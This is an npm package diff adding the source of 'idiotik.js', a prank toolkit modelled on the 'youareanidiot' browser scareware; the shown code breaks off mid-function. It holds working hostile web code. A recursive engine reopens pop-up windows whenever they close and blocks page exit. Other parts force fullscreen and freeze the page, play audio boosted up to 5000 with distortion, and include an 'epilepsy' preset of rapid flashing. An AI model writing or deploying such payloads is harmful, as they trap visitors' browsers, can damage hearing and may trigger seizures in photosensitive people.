idiotik.js 1.0.16 → 1.0.18

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "idiotik.js",
-  "version": "1.0.16",
+  "version": "1.0.18",
   "description": "youareanidiot-style chaos toolkit for the browser",
   "main": "src/idiotik.js",
   "scripts": {

package/src/idiotik.js

@@ -1 +1,975 @@
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e=document.createElement("div");e.textContent="🖱️",e.style.cssText="position:fixed;font-size:20px;pointer-events:none;z-index:999999;transition:left 0.2s,top 0.2s;",document.body.appendChild(e),v(e,"htmlNodes");let t=0,n=0;document.addEventListener("mousemove",e=>{t=e.clientX,n=e.clientY});v(setInterval(()=>{e.style.left=t+15+10*Math.sin(Date.now()/200)+"px",e.style.top=n+15+10*Math.cos(Date.now()/200)+"px"},50),"intervals")},gravityWarp:()=>function e(){[...document.querySelectorAll("p,h1,h2,h3,h4,img,div,a,button,span")].filter(e=>0===e.children.length||"IMG"===e.tagName).forEach((e,t)=>{if(e.dataset.idiotikGravity)return;e.dataset.idiotikGravity="1";const n=e.style.transform;let o=0;const i=setInterval(()=>{o+=.5;const t=parseFloat(e.dataset.gy||"0");e.dataset.gy=t+o,e.style.transform=`${n} translateY(${t}px) rotate(${.1*t}deg)`,t>1.5*window.innerHeight&&clearInterval(i)},50)}),t&&setTimeout(e,5e3)},audio(e){const n=k(e);return async function e(){const o=await w(n),i=y();i&&i.audioSources.push(o),t&&o.addEventListener?.("ended",e)}},effect:e=>function(){b[e]?(r.add(e),b[e]()):console.warn(`idiotik.effect: unknown effect "${e}"`)},cleareffects(){r.clear(),document.querySelectorAll("[id^='__idiotik_']").forEach(e=>e.remove()),document.body.style.animation="",document.body.style.filter=""},cursor:e=>function(){const t=x[e];if(t)if("__rainbow__"===t){let e=0;v(setInterval(()=>{const t=`<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><circle cx='10' cy='10' r='10' fill='hsl(${e},100%,50%)'/></svg>`;document.body.style.cursor=`url("data:image/svg+xml,${encodeURIComponent(t)}"), auto`,e=(e+10)%360},50),"intervals")}else if("__wiggle__"===t)document.addEventListener("mousemove",()=>{const e=10*Math.sin(Date.now()/100);document.body.style.cursor=`url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><text y='16' font-size='16'>👆</text></svg>") ${e} 0, auto`});else if("__explode__"===t)document.addEventListener("click",e=>{for(let t=0;t<12;t++){const n=document.createElement("div");n.textContent=["💥","✨","⭐","🔥"][t%4],n.style.cssText=`position:fixed;left:${e.clientX}px;top:${e.clientY}px;font-size:20px;pointer-events:none;z-index:99999;transition:all 0.6s;`,document.body.appendChild(n),v(n,"htmlNodes");const o=t/12*2*Math.PI;setTimeout(()=>{n.style.transform=`translate(${60*Math.cos(o)}px,${60*Math.sin(o)}px)`,n.style.opacity="0"},10),setTimeout(()=>n.remove(),700)}});else if("__ghost__"===t){document.body.style.cursor="none";const e=document.createElement("div");e.textContent="👻",e.style.cssText="position:fixed;font-size:24px;pointer-events:none;z-index:999999;transition:left 0.4s ease,top 0.4s ease;",document.body.appendChild(e),v(e,"htmlNodes");let t=0,n=0;document.addEventListener("mousemove",e=>{t=e.clientX,n=e.clientY});v(setInterval(()=>{e.style.left=t+"px",e.style.top=n+"px",e.style.opacity=(.5+.5*Math.sin(Date.now()/300)).toString()},50),"intervals")}else"__eyes__"===t?(document.body.style.cursor="none",["left:30vw","left:60vw"].forEach(e=>{const t=document.createElement("div");t.style.cssText=`position:fixed;top:50vh;${e};font-size:48px;pointer-events:none;z-index:999999;transition:transform 0.1s;`,t.textContent="👁️",document.body.appendChild(t),v(t,"htmlNodes")}),document.addEventListener("mousemove",e=>{document.querySelectorAll("[style*='👁️']").forEach(t=>{const n=t.getBoundingClientRect(),o=e.clientX-(n.left+n.width/2),i=e.clientY-(n.top+n.height/2),r=Math.atan2(i,o);t.style.transform=`rotate(${r}rad)`})})):document.body.style.cursor=t;else document.body.style.cursor=`url(${e}), auto`}};"undefined"!=typeof module&&module.exports?module.exports=E:e.idiotik=E}("undefined"!=typeof window?window:global);
+/**
+ * idiotik.js — youareanidiot-style chaos toolkit
+ * recursive by default. you were warned.
+ *
+ * CHANGES v4:
+ *  - idiotik.start("preset:name")   — queue a preset
+ *  - idiotik.start("effect:name")   — queue an effect
+ *  - idiotik.start("say:message")   — queue a popup/alert
+ *  - idiotik.start("cursor:name")   — queue a cursor
+ *  - idiotik.start("scream")        — queue scream
+ *  - idiotik.start("freeze")        — queue freeze
+ *  - idiotik.start("fullscreen")    — queue fullscreen
+ *  - idiotik.start("haunt")         — queue haunt
+ *  - idiotik.start("fakecursor")    — queue fakeCursor
+ *  - idiotik.start("gravitywarp")   — queue gravityWarp
+ *  - idiotik.start("redirect:url")  — queue redirect
+ *  - idiotik.start("audio:url")     — queue audio
+ *  - idiotik.start("jumpscare:url") — queue jumpscare
+ *  - idiotik.start(n)               — fire task at 1-based queue position n
+ *  - idiotik.start()                — fire ALL queued tasks, then clear queue
+ *  - idiotik.startnow("...")        — same DSL as start() but fires immediately
+ *  - idiotik.click(target)          — bind queued tasks to a click target
+ *  - idiotik.nuke()                 — kill everything
+ */
+
+(function (global) {
+
+  // ─── GLOBAL STATE ───────────────────────────────────────────────────────────
+  let _recursive     = true;
+  let _volume        = 100;
+  let _popup         = true;
+  let _activeScripts = {};
+  let _activeEffects = new Set();
+  let _audioCtx      = null;
+  let _scriptStack   = [];
+  let _taskQueue       = [];
+  let _recursionInited = false;
+  let _spawnedWindows  = [];
+  let _globalIntervals = [];
+  let _globalTimeouts  = [];
+  let _globalNodes     = [];
+
+  // ─── RECURSIVE SPAWN ENGINE ─────────────────────────────────────────────────
+  function _spawnWindow() {
+    try {
+      const w = window.open(window.location.href, "_blank",
+        "width=" + (300 + Math.random() * 700 | 0) +
+        ",height=" + (200 + Math.random() * 500 | 0) +
+        ",toolbar=no,menubar=no,scrollbars=no,resizable=yes"
+      );
+      if (w) {
+        _spawnedWindows.push(w);
+        const id = setInterval(() => {
+          if (w.closed) { clearInterval(id); if (_recursive) _spawnWindow(); }
+        }, 500);
+        _globalIntervals.push(id);
+      }
+    } catch(e) {}
+  }
+
+  function _initRecursion() {
+    if (!_recursive) return;
+    if (_recursionInited) return;
+    _recursionInited = true;
+    _spawnWindow();
+    const _blockAndSpawn = function(e) {
+      if (!_recursive) return;
+      _spawnWindow(); _spawnWindow();
+      e.preventDefault(); e.returnValue = ""; return "";
+    };
+    window.addEventListener("beforeunload",       _blockAndSpawn, { capture: true });
+    window.addEventListener("unload",             () => { if (_recursive) { _spawnWindow(); _spawnWindow(); } }, { capture: true });
+    window.addEventListener("pagehide",           () => { if (_recursive) { _spawnWindow(); _spawnWindow(); } }, { capture: true });
+    document.addEventListener("visibilitychange", () => { if (document.hidden && _recursive) { _spawnWindow(); _spawnWindow(); } });
+    window.addEventListener("blur",               () => { if (_recursive) setTimeout(_spawnWindow, 50); });
+  }
+
+  // Recursion is NOT auto-started on load — it only fires when
+  // idiotik.recursive("yes") is called (e.g. from inside a preset).
+  // This ensures nothing happens until the user triggers an action.
+
+  // ─── HELPERS ────────────────────────────────────────────────────────────────
+  function _getAudioCtx() {
+    if (!_audioCtx) _audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+    return _audioCtx;
+  }
+
+  function _currentScript() {
+    return _scriptStack.length ? _scriptStack[_scriptStack.length - 1] : null;
+  }
+
+  function _requireScript(name) {
+    if (!_currentScript()) throw new Error(`idiotik.${name}() must be inside idiotik.script()`);
+  }
+
+  function _track(thing, type) {
+    const ctx = _currentScript();
+    if (ctx) {
+      ctx[type] = ctx[type] || [];
+      ctx[type].push(thing);
+    } else {
+      if (type === "intervals") _globalIntervals.push(thing);
+      if (type === "timeouts")  _globalTimeouts.push(thing);
+      if (type === "htmlNodes") _globalNodes.push(thing);
+    }
+  }
+
+  function _buildAudioChain(buffer) {
+    const ctx = _getAudioCtx();
+    const source = ctx.createBufferSource();
+    source.buffer = buffer;
+    source.loop = true;
+    const gainNode = ctx.createGain();
+    const rawVol = _volume;
+    gainNode.gain.value = rawVol <= 200 ? rawVol / 100 : Math.min(rawVol / 100, 50);
+    let lastNode = source;
+    if (rawVol > 200) {
+      const bb = ctx.createBiquadFilter();
+      bb.type = "lowshelf"; bb.frequency.value = 200;
+      bb.gain.value = Math.min(((rawVol - 200) / 4800) * 40, 40);
+      lastNode.connect(bb); lastNode = bb;
+    }
+    if (rawVol >= 450) {
+      for (const b of [
+        { type: "lowshelf",  freq: 60,    gain: 40 },
+        { type: "peaking",   freq: 250,   gain: 40 },
+        { type: "peaking",   freq: 500,   gain: 40 },
+        { type: "peaking",   freq: 1500,  gain: 40 },
+        { type: "peaking",   freq: 4000,  gain: 40 },
+        { type: "peaking",   freq: 8000,  gain: 40 },
+        { type: "highshelf", freq: 16000, gain: 40 },
+      ]) {
+        const f = ctx.createBiquadFilter();
+        f.type = b.type; f.frequency.value = b.freq; f.gain.value = b.gain;
+        lastNode.connect(f); lastNode = f;
+      }
+    }
+    if (rawVol >= 300) {
+      const dist = ctx.createWaveShaper();
+      const curve = new Float32Array(256);
+      const k = Math.min((rawVol - 300) / 10, 400);
+      for (let i = 0; i < 256; i++) {
+        const x = (i * 2) / 256 - 1;
+        curve[i] = ((Math.PI + k) * x) / (Math.PI + k * Math.abs(x));
+      }
+      dist.curve = curve; dist.oversample = "4x";
+      lastNode.connect(dist); lastNode = dist;
+    }
+    lastNode.connect(gainNode);
+    gainNode.connect(ctx.destination);
+    return source;
+  }
+
+  async function _loadAndPlay(url) {
+    const ctx = _getAudioCtx();
+    const resp = await fetch(url);
+    const arrayBuf = await resp.arrayBuffer();
+    const audioBuf = await ctx.decodeAudioData(arrayBuf);
+    const source = _buildAudioChain(audioBuf);
+    source.start(0);
+    return source;
+  }
+
+  function _parseAudioUrl(urlOrFile) {
+    if (typeof urlOrFile === "string" && urlOrFile.startsWith("file://"))
+      return urlOrFile.replace("file://", "");
+    return urlOrFile;
+  }
+
+  function _whiteNoise(durationSec) {
+    const ctx = _getAudioCtx();
+    const bufferSize = ctx.sampleRate * durationSec;
+    const buffer = ctx.createBuffer(1, bufferSize, ctx.sampleRate);
+    const data = buffer.getChannelData(0);
+    for (let i = 0; i < bufferSize; i++) data[i] = Math.random() * 2 - 1;
+    const source = ctx.createBufferSource();
+    source.buffer = buffer;
+    const gain = ctx.createGain();
+    gain.gain.value = Math.min(_volume / 100, 5);
+    source.connect(gain);
+    gain.connect(ctx.destination);
+    return source;
+  }
+
+  // ─── DSL PARSER ─────────────────────────────────────────────────────────────
+  // Turns "effect:shake", "say:hello world", "preset:robux", "scream", etc.
+  // into a callable function. Used by both start() and startnow().
+  function _resolve(ref) {
+    // already a function — use directly
+    if (typeof ref === "function") return ref;
+
+    // string DSL
+    if (typeof ref === "string") {
+      const colon = ref.indexOf(":");
+      const cmd   = colon === -1 ? ref.trim().toLowerCase() : ref.slice(0, colon).trim().toLowerCase();
+      const arg   = colon === -1 ? ""                       : ref.slice(colon + 1);
+
+      switch (cmd) {
+        case "effect":     return idiotik.effect(arg);
+        case "say":        return idiotik.say(arg);
+        case "cursor":     return idiotik.cursor(arg);
+        case "preset":     return idiotik.preset(arg);
+        case "redirect":   return idiotik.redirect(arg);
+        case "audio":      return idiotik.audio(arg);
+        case "jumpscare":  return idiotik.jumpscare(arg);
+        case "scream":     return idiotik.scream();
+        case "freeze":     return idiotik.freeze();
+        case "fullscreen": return idiotik.fullscreen();
+        case "haunt":      return idiotik.haunt();
+        case "fakecursor": return idiotik.fakeCursor();
+        case "gravitywarp":return idiotik.gravityWarp();
+        case "noise":      return idiotik.noise(Number(arg) || 1);
+        default:
+          console.warn(`idiotik.start: unknown command "${cmd}"`);
+          return null;
+      }
+    }
+
+    return null;
+  }
+
+  // ─── CURSOR PRESETS ─────────────────────────────────────────────────────────
+  const _cursorPresets = {
+    hand: "pointer", none: "none", crosshair: "crosshair", wait: "wait",
+    rainbow: "__rainbow__", wiggle: "__wiggle__", explode: "__explode__",
+    ghost: "__ghost__", eyes: "__eyes__",
+  };
+
+  // ─── EFFECT IMPLEMENTATIONS ─────────────────────────────────────────────────
+  const _effectImpls = {
+    shake() {
+      const id = "__idiotik_shake__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_shake{0%,100%{transform:translate(0,0)}10%{transform:translate(-8px,8px)}20%{transform:translate(8px,-8px)}30%{transform:translate(-8px,0)}40%{transform:translate(8px,8px)}50%{transform:translate(-4px,-4px)}60%{transform:translate(4px,4px)}70%{transform:translate(-8px,8px)}80%{transform:translate(8px,-8px)}90%{transform:translate(-4px,4px)}}body{animation:__idiotik_shake 0.3s infinite}`;
+      document.head.appendChild(s);
+    },
+    spin() {
+      const id = "__idiotik_spin__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_spin{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}body{animation:__idiotik_spin 2s linear infinite;transform-origin:center center}`;
+      document.head.appendChild(s);
+    },
+    glitch() {
+      const id = "__idiotik_glitch__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_glitch1{0%,100%{clip-path:inset(0 0 95% 0)}25%{clip-path:inset(30% 0 50% 0)}50%{clip-path:inset(60% 0 20% 0)}75%{clip-path:inset(10% 0 80% 0)}}@keyframes __idiotik_glitch2{0%,100%{clip-path:inset(80% 0 5% 0);transform:translate(-5px,0)}25%{clip-path:inset(20% 0 70% 0);transform:translate(5px,0)}50%{clip-path:inset(50% 0 30% 0);transform:translate(-3px,0)}75%{clip-path:inset(5% 0 90% 0);transform:translate(3px,0)}}body::before,body::after{content:'';position:fixed;top:0;left:0;width:100%;height:100%;background:inherit;pointer-events:none;z-index:9999}body::before{animation:__idiotik_glitch1 0.4s infinite;color:red;text-shadow:2px 0 red}body::after{animation:__idiotik_glitch2 0.4s infinite;color:blue;text-shadow:-2px 0 blue}`;
+      document.head.appendChild(s);
+    },
+    rainbow() {
+      const id = "__idiotik_rainbow__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_rainbow{0%{background:#ff0000}15%{background:#ff8800}30%{background:#ffff00}45%{background:#00ff00}60%{background:#0000ff}75%{background:#8800ff}90%{background:#ff00ff}100%{background:#ff0000}}body{animation:__idiotik_rainbow 0.5s infinite}`;
+      document.head.appendChild(s);
+    },
+    invert() {
+      const id = "__idiotik_invert__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `body{filter:invert(1)}`;
+      document.head.appendChild(s);
+    },
+    matrix() {
+      const cid = "__idiotik_matrix__"; if (document.getElementById(cid)) return;
+      const canvas = document.createElement("canvas"); canvas.id = cid;
+      canvas.style.cssText = "position:fixed;top:0;left:0;z-index:9998;pointer-events:none;width:100vw;height:100vh;opacity:0.7;";
+      document.body.appendChild(canvas); _track(canvas, "htmlNodes");
+      const ctx = canvas.getContext("2d");
+      canvas.width = window.innerWidth; canvas.height = window.innerHeight;
+      const cols = Math.floor(canvas.width / 16);
+      const drops = Array(cols).fill(1);
+      const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@#$%^&*()";
+      _track(setInterval(() => {
+        ctx.fillStyle = "rgba(0,0,0,0.05)"; ctx.fillRect(0, 0, canvas.width, canvas.height);
+        ctx.fillStyle = "#0f0"; ctx.font = "16px monospace";
+        drops.forEach((y, i) => {
+          const ch = chars[Math.floor(Math.random() * chars.length)];
+          ctx.fillText(ch, i * 16, y * 16);
+          if (y * 16 > canvas.height && Math.random() > 0.975) drops[i] = 0;
+          drops[i]++;
+        });
+      }, 50), "intervals");
+    },
+    melt() {
+      const id = "__idiotik_melt__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_melt{0%{transform:skewY(0deg) scaleY(1)}50%{transform:skewY(5deg) scaleY(1.1)}100%{transform:skewY(-3deg) scaleY(0.9)}}body{animation:__idiotik_melt 1s ease-in-out infinite alternate;transform-origin:bottom}`;
+      document.head.appendChild(s);
+    },
+    vhs() {
+      const id = "__idiotik_vhs__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_vhs_scan{0%{top:-100%}100%{top:100%}}@keyframes __idiotik_vhs_track{0%,95%{transform:none}96%{transform:translate(-4px,0) skewX(-0.5deg)}97%{transform:translate(4px,0) skewX(0.5deg)}98%{transform:translate(-2px,0)}100%{transform:none}}body{animation:__idiotik_vhs_track 3s infinite}body::before{content:'';position:fixed;top:0;left:0;width:100%;height:3px;background:rgba(255,255,255,0.15);z-index:99999;pointer-events:none;animation:__idiotik_vhs_scan 4s linear infinite}body::after{content:'';position:fixed;top:0;left:0;width:100%;height:100%;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.08) 2px,rgba(0,0,0,0.08) 4px);pointer-events:none;z-index:99998}`;
+      document.head.appendChild(s);
+    },
+    static() {
+      const cid = "__idiotik_static__"; if (document.getElementById(cid)) return;
+      const canvas = document.createElement("canvas"); canvas.id = cid;
+      canvas.width = 256; canvas.height = 256;
+      canvas.style.cssText = "position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9997;pointer-events:none;opacity:0.12;image-rendering:pixelated;";
+      document.body.appendChild(canvas); _track(canvas, "htmlNodes");
+      const ctx = canvas.getContext("2d");
+      _track(setInterval(() => {
+        const img = ctx.createImageData(256, 256);
+        for (let i = 0; i < img.data.length; i += 4) {
+          const v = Math.random() * 255 | 0;
+          img.data[i] = img.data[i+1] = img.data[i+2] = v; img.data[i+3] = 255;
+        }
+        ctx.putImageData(img, 0, 0);
+      }, 40), "intervals");
+    },
+    zoom() {
+      const id = "__idiotik_zoom__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_zoom{0%,100%{transform:scale(1)}50%{transform:scale(1.08)}}body{animation:__idiotik_zoom 0.8s ease-in-out infinite}`;
+      document.head.appendChild(s);
+    },
+    bounce() {
+      const id = "__idiotik_bounce__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_bounce{0%,100%{transform:translateY(0)}50%{transform:translateY(-20px)}}body{animation:__idiotik_bounce 0.5s ease-in-out infinite}`;
+      document.head.appendChild(s);
+    },
+    flip() {
+      const id = "__idiotik_flip__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_flip{0%,100%{transform:scaleX(1)}50%{transform:scaleX(-1)}}body{animation:__idiotik_flip 1s step-end infinite}`;
+      document.head.appendChild(s);
+    },
+    blur() {
+      const id = "__idiotik_blur__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_blur{0%,100%{filter:blur(0px)}50%{filter:blur(8px)}}body{animation:__idiotik_blur 1s ease-in-out infinite}`;
+      document.head.appendChild(s);
+    },
+    darkmode() {
+      const id = "__idiotik_darkmode__"; if (document.getElementById(id)) return;
+      const s = document.createElement("style"); s.id = id;
+      s.textContent = `@keyframes __idiotik_dark{0%,100%{filter:brightness(1)}50%{filter:brightness(0)}}body{animation:__idiotik_dark 0.3s step-end infinite}`;
+      document.head.appendChild(s);
+    },
+    pixelate() {
+      const cid = "__idiotik_pixelate__"; if (document.getElementById(cid)) return;
+      const canvas = document.createElement("canvas"); canvas.id = cid;
+      canvas.style.cssText = "position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9996;pointer-events:none;image-rendering:pixelated;";
+      canvas.width = 64; canvas.height = 36;
+      document.body.appendChild(canvas); _track(canvas, "htmlNodes");
+      const ctx = canvas.getContext("2d");
+      let level = 0;
+      _track(setInterval(() => {
+        try { ctx.drawImage(document.documentElement, 0, 0, 64, 36); }
+        catch(e) { ctx.fillStyle = `hsl(${level * 10},100%,50%)`; ctx.fillRect(0, 0, 64, 36); }
+        level = (level + 1) % 36;
+      }, 100), "intervals");
+    },
+  };
+
+  // ─── PRESET REGISTRY ────────────────────────────────────────────────────────
+  const _presets = {
+    classic() {
+      idiotik.recursive("yes");
+      idiotik.startnow("effect:rainbow");
+      idiotik.startnow("effect:shake");
+      idiotik.start("say:YOU ARE AN IDIOT HA HA HA HA HA HA");
+      idiotik.repeat("inf");
+      idiotik.startnow("scream");
+    },
+    nuclear() {
+      idiotik.recursive("yes");
+      idiotik.volume(5000);
+      idiotik.startnow("effect:shake");
+      idiotik.startnow("effect:rainbow");
+      idiotik.startnow("effect:glitch");
+      idiotik.startnow("effect:spin");
+      idiotik.startnow("effect:matrix");
+      idiotik.startnow("effect:vhs");
+      idiotik.startnow("effect:static");
+      idiotik.startnow("effect:zoom");
+      idiotik.startnow("scream");
+      idiotik.startnow("fullscreen");
+      idiotik.startnow("freeze");
+      idiotik.startnow("cursor:none");
+      idiotik.startnow("haunt");
+      idiotik.start("say:💀💀💀 YOU ARE SO COOKED 💀💀💀");
+      idiotik.repeat("inf");
+    },
+    mild() {
+      idiotik.recursive("no");
+      idiotik.volume(100);
+      idiotik.startnow("effect:shake");
+      idiotik.start("say:gotcha lol");
+      idiotik.repeat(5);
+    },
+    rickroll() {
+      idiotik.recursive("no");
+      idiotik.startnow("redirect:https://www.youtube.com/watch?v=dQw4w9WgXcQ");
+    },
+    jumpscare() {
+      idiotik.recursive("yes");
+      idiotik.volume(300);
+      idiotik.wait(3000).then(() => {
+        idiotik.startnow("effect:glitch");
+        idiotik.startnow("jumpscare:https://upload.wikimedia.org/wikipedia/commons/thumb/a/a7/Camponotus_flavomarginatus_ant.jpg/640px-Camponotus_flavomarginatus_ant.jpg");
+        idiotik.startnow("scream");
+      });
+    },
+    epilepsy() {
+      idiotik.recursive("yes");
+      idiotik.volume(450);
+      idiotik.startnow("effect:rainbow");
+      idiotik.startnow("effect:shake");
+      idiotik.startnow("effect:glitch");
+      idiotik.startnow("effect:invert");
+      idiotik.startnow("effect:static");
+      idiotik.startnow("cursor:rainbow");
+      idiotik.startnow("scream");
+    },
+    robux() {
+      idiotik.recursive("yes");
+      idiotik.volume(200);
+      idiotik.startnow("effect:rainbow");
+      idiotik.startnow("cursor:explode");
+      idiotik.start("say:FREE ROBUX AT PORNHUB.COM!!!");
+      idiotik.repeat("inf");
+    },
+    villain() {
+      idiotik.recursive("no");
+      idiotik.volume(150);
+      idiotik.startnow("effect:matrix");
+      idiotik.wait(2000).then(() => idiotik.startnow("effect:glitch"));
+      idiotik.wait(4000).then(() => {
+        idiotik.volume(500);
+        idiotik.startnow("effect:shake");
+        idiotik.startnow("scream");
+        idiotik.recursive("yes");
+        idiotik.start("say:did you really think you were safe 🗿");
+        idiotik.repeat("inf");
+      });
+    },
+    melt() {
+      idiotik.recursive("no");
+      idiotik.volume(100);
+      idiotik.startnow("effect:melt");
+      idiotik.startnow("effect:spin");
+      idiotik.wait(3000).then(() => {
+        idiotik.volume(300);
+        idiotik.startnow("effect:rainbow");
+        idiotik.startnow("scream");
+      });
+    },
+    haunted() {
+      idiotik.recursive("yes");
+      idiotik.volume(80);
+      idiotik.startnow("effect:vhs");
+      idiotik.startnow("effect:glitch");
+      idiotik.startnow("cursor:ghost");
+      idiotik.startnow("haunt");
+      idiotik.wait(5000).then(() => {
+        idiotik.volume(600);
+        idiotik.startnow("scream");
+        idiotik.startnow("effect:flip");
+        idiotik.startnow("effect:shake");
+        idiotik.start("say:👁️ i was here the whole time 👁️");
+        idiotik.repeat("inf");
+      });
+    },
+    gravity() {
+      idiotik.recursive("yes");
+      idiotik.volume(200);
+      idiotik.startnow("gravitywarp");
+      idiotik.startnow("effect:melt");
+      idiotik.startnow("cursor:eyes");
+      idiotik.wait(3000).then(() => {
+        idiotik.startnow("effect:rainbow");
+        idiotik.startnow("scream");
+      });
+    },
+  };
+
+  // ─── CORE OBJECT ────────────────────────────────────────────────────────────
+  const idiotik = {
+
+    // ── GLOBAL TOGGLES ───────────────────────────────────────────────────────
+
+    recursive(val) {
+      _recursive = (val === true || val === "yes" || val === 1);
+      if (_recursive) _initRecursion();
+      return idiotik;
+    },
+
+    volume(n) {
+      _volume = Math.max(0, Math.min(5000, Number(n)));
+      return idiotik;
+    },
+
+    popup(val) {
+      _popup = (val === true || val === "yes" || val === 1);
+      return idiotik;
+    },
+
+    // ── PRESET SYSTEM ────────────────────────────────────────────────────────
+
+    preset(name) {
+      return function() {
+        if (_presets[name]) _presets[name]();
+        else console.warn(`idiotik.preset: unknown preset "${name}". try idiotik.list()`);
+      };
+    },
+
+    list() {
+      const names = Object.keys(_presets);
+      console.log(`%cidiotik.js — available presets (${names.length})`, "font-weight:bold;color:#ff4444;font-size:14px;");
+      names.forEach(n => console.log(`  %c• ${n}`, "color:#ffcc00;"));
+      console.log('%cusage: idiotik.start("preset:name")', "color:#aaa;font-style:italic;");
+      return names;
+    },
+
+    registerPreset(name, fn) {
+      _presets[name] = fn;
+      return idiotik;
+    },
+
+    // ── SCRIPT CONTEXT ───────────────────────────────────────────────────────
+
+    script() {
+      _scriptStack.push({ id: null, intervals: [], timeouts: [], audioSources: [], htmlNodes: [], _html: null });
+      return idiotik;
+    },
+
+    id(name) {
+      _requireScript("id");
+      const ctx = _currentScript();
+      ctx.id = name; _activeScripts[name] = ctx;
+      return idiotik;
+    },
+
+    html(code) {
+      _requireScript("html");
+      const ctx = _currentScript();
+      ctx._html = code;
+      const div = document.createElement("div");
+      div.innerHTML = code; document.body.appendChild(div); ctx.htmlNodes.push(div);
+      if (_recursive) {
+        const id = setInterval(() => {
+          const d = document.createElement("div"); d.innerHTML = code;
+          document.body.appendChild(d); ctx.htmlNodes.push(d);
+        }, 500);
+        ctx.intervals.push(id);
+      }
+      return idiotik;
+    },
+
+    end() {
+      if (!_currentScript()) throw new Error("idiotik.end() called outside a script");
+      _scriptStack.pop();
+      return idiotik;
+    },
+
+    // ── QUEUE / START SYSTEM ─────────────────────────────────────────────────
+
+    /**
+     * idiotik.start(ref)
+     *
+     *   start()                  → fire ALL queued tasks, clear queue
+     *   start(n)                 → fire task at 1-based position n (don't clear)
+     *   start("effect:shake")    → enqueue effect
+     *   start("say:hello")       → enqueue popup
+     *   start("preset:robux")    → enqueue preset
+     *   start("scream")          → enqueue scream
+     *   start(fn)                → enqueue a raw function
+     */
+    start(ref) {
+      // fire all
+      if (ref === undefined || ref === null) {
+        const tasks = [..._taskQueue];
+        _taskQueue = [];
+        tasks.forEach(fn => { try { fn(); } catch(e) {} });
+        return idiotik;
+      }
+
+      // fire by 1-based index
+      if (typeof ref === "number") {
+        const idx = ref - 1;
+        if (idx >= 0 && idx < _taskQueue.length) {
+          try { _taskQueue[idx](); } catch(e) {}
+        } else {
+          console.warn(`idiotik.start(${ref}): no task at position ${ref} (queue length: ${_taskQueue.length})`);
+        }
+        return idiotik;
+      }
+
+      // resolve and enqueue
+      const fn = _resolve(ref);
+      if (fn) _taskQueue.push(fn);
+      return idiotik;
+    },
+
+    /**
+     * idiotik.startnow(ref)
+     * Same DSL as start() but resolves AND fires immediately.
+     * Does NOT use the queue.
+     */
+    startnow(ref) {
+      const fn = _resolve(ref);
+      if (fn) { try { fn(); } catch(e) {} }
+      return idiotik;
+    },
+
+    // ── CLICK BINDING ────────────────────────────────────────────────────────
+
+    /**
+     * idiotik.click(target, ref?)
+     * Fires queued tasks (or ref) when a matching element is clicked.
+     * target: CSS selector or plain text matched against clickable elements.
+     * ref: optional DSL string or function — if omitted, snapshots current queue.
+     */
+    click(target, ref) {
+      const tasksSnapshot = ref ? null : [..._taskQueue];
+
+      const _fire = function(e) {
+        if (ref) {
+          const fn = _resolve(ref);
+          if (fn) { try { fn(e); } catch(err) {} }
+        } else {
+          tasksSnapshot.forEach(task => { try { task(e); } catch(err) {} });
+        }
+      };
+
+      const _attach = function() {
+        let els = [];
+        try { els = [...document.querySelectorAll(target)]; } catch(e) {}
+        if (!els.length) {
+          const lower = target.toLowerCase().trim();
+          els = [...document.querySelectorAll("button,a,input[type='button'],input[type='submit'],[role='button'],label,[onclick]")]
+            .filter(el => el.textContent.trim().toLowerCase().includes(lower)
+                       || (el.value && el.value.trim().toLowerCase().includes(lower)));
+        }
+        if (!els.length) console.warn(`idiotik.click: no elements found for "${target}" — will retry on DOM changes`);
+        els.forEach(el => {
+          if (el.__idiotikClick) return;
+          el.__idiotikClick = true;
+          el.addEventListener("click", _fire);
+          _track(el, "htmlNodes");
+        });
+      };
+
+      if (document.readyState !== "loading") _attach();
+      else document.addEventListener("DOMContentLoaded", _attach);
+
+      const observer = new MutationObserver(_attach);
+      observer.observe(document.body || document.documentElement, { childList: true, subtree: true });
+      if (!_globalNodes._observers) _globalNodes._observers = [];
+      _globalNodes._observers.push(observer);
+
+      return idiotik;
+    },
+
+    queue(ref) {
+      const fn = _resolve(ref);
+      if (fn) _taskQueue.push(fn);
+      return idiotik;
+    },
+
+    clearQueue() {
+      _taskQueue = [];
+      return idiotik;
+    },
+
+    repeat(n) {
+      if (!_taskQueue.length) return idiotik;
+      const fn = _taskQueue[_taskQueue.length - 1];
+      const infinite = (n === Infinity || n === "inf" || n === "Infinity");
+      if (infinite) {
+        _track(setInterval(() => fn(), 100), "intervals");
+      } else {
+        let count = 0;
+        const id = setInterval(() => { fn(); count++; if (count >= n) clearInterval(id); }, 100);
+        _track(id, "intervals");
+      }
+      return idiotik;
+    },
+
+    get continue() { return idiotik; },
+
+    wait(ms) {
+      return new Promise(resolve => { _track(setTimeout(resolve, ms), "timeouts"); });
+    },
+
+    halt(name) {
+      const ctx = _activeScripts[name];
